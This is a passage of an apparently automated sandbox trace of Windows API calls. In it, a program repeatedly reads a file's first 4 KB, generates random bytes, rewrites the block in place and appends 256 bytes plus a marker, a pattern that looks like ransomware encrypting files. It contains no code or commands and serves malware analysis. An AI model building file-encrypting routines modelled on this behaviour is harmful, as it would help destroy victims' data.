Flags=0x0, Size=0x200) returned 0x3357d80 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.379] GetProcessHeap () returned 0x540000 [0085.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.379] GetProcessHeap () returned 0x540000 [0085.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.379] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.379] WriteFile (in: hFile=0x8c0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.379] WriteFile (in: hFile=0x8c0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.379] GetProcessHeap () returned 0x540000 [0085.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.379] GetProcessHeap () returned 0x540000 [0085.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.379] GetProcessHeap () returned 0x540000 [0085.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.379] CloseHandle (hObject=0x8c0) returned 1 [0085.380] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 82 [0085.380] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.380] ReadFile (in: hFile=0x8c4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.380] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.380] GetProcessHeap () returned 0x540000 [0085.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.381] GetProcessHeap () returned 0x540000 [0085.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.381] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.381] GetProcessHeap () returned 0x540000 [0085.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.381] ReadFile (in: hFile=0x8c4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.431] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.431] WriteFile (in: hFile=0x8c4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.432] GetProcessHeap () returned 0x540000 [0085.432] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.433] GetProcessHeap () returned 0x540000 [0085.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.433] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.434] GetProcessHeap () returned 0x540000 [0085.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.435] GetProcessHeap () returned 0x540000 [0085.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.436] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.436] WriteFile (in: hFile=0x8c4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.436] WriteFile (in: hFile=0x8c4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.436] GetProcessHeap () returned 0x540000 [0085.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.436] CloseHandle (hObject=0x8c4) returned 1 [0085.439] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 83 [0085.439] SetFilePointerEx (in: hFile=0x8c8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.439] ReadFile (in: hFile=0x8c8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.439] SetFilePointerEx (in: hFile=0x8c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.439] GetProcessHeap () returned 0x540000 [0085.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.439] GetProcessHeap () returned 0x540000 [0085.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.439] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.439] GetProcessHeap () returned 0x540000 [0085.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.439] ReadFile (in: hFile=0x8c8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.488] SetFilePointerEx (in: hFile=0x8c8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.488] WriteFile (in: hFile=0x8c8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.488] GetProcessHeap () returned 0x540000 [0085.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.489] GetProcessHeap () returned 0x540000 [0085.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.490] GetProcessHeap () returned 0x540000 [0085.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.491] GetProcessHeap () returned 0x540000 [0085.491] 